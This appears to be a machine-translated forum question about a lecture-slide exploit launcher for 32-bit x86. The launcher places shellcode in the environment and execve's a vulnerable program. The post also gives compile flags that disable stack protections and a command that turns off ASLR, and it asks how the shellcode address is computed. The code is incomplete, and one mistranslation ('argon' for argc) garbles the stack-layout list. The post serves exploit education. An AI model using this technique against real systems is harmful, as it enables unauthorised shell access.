我从安全课程的讲座幻灯片中获得了以下代码。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
extern char shellcode;
#define VULN "./vuln"
int main(int argc, char **argv) {
void *addr = (char *) 0xc0000000 - 4
- (strlen(VULN) + 1)
- (strlen(&shellcode) + 1);
fprintf(stderr, "Using address: 0x%p\n", addr);
// some other stuff
char *params[] = { VULN, buf, NULL };
char *env[] = { &shellcode, NULL };
execve(VULN, params, env);
perror("execve");
}
该代码在其环境中调用带有 shellcode 的易受攻击的程序。shellcode 是外部文件中的一些汇编代码,它打开一个 shell,VULN 定义了易受攻击的程序的名称。
我的问题:shellcode地址是如何计算的
addr 变量保存 shellcode 的地址(它是环境的一部分)。谁能向我解释这个地址是如何确定的?所以:
- 0xc0000000 - 4 来自哪里?
- 为什么要减去 shellcode 的长度和程序名?
请注意,这段代码和易受攻击的程序都是这样编译的:
$ CFLAGS="-m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2"
$ cc $CFLAGS -o vuln vuln.c
$ cc $CFLAGS -o exploit exploit.c shellcode.s
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0
所以地址空间随机化被关闭。
我知道堆栈是进程内部的第一件事(最高内存地址)。堆栈按以下顺序包含:
- 环境数据。
- argv
- 氩气
- main的返回地址
- 帧指针
- main 中的局部变量
- ...ETC...
常量和全局数据不存储在堆栈中,这就是为什么我也不明白为什么 VULN 常量的长度会影响放置 shellcode 的地址。
希望你能帮我解决这个问题:-)
请注意,我们正在使用 intel x86 架构上的 unix 系统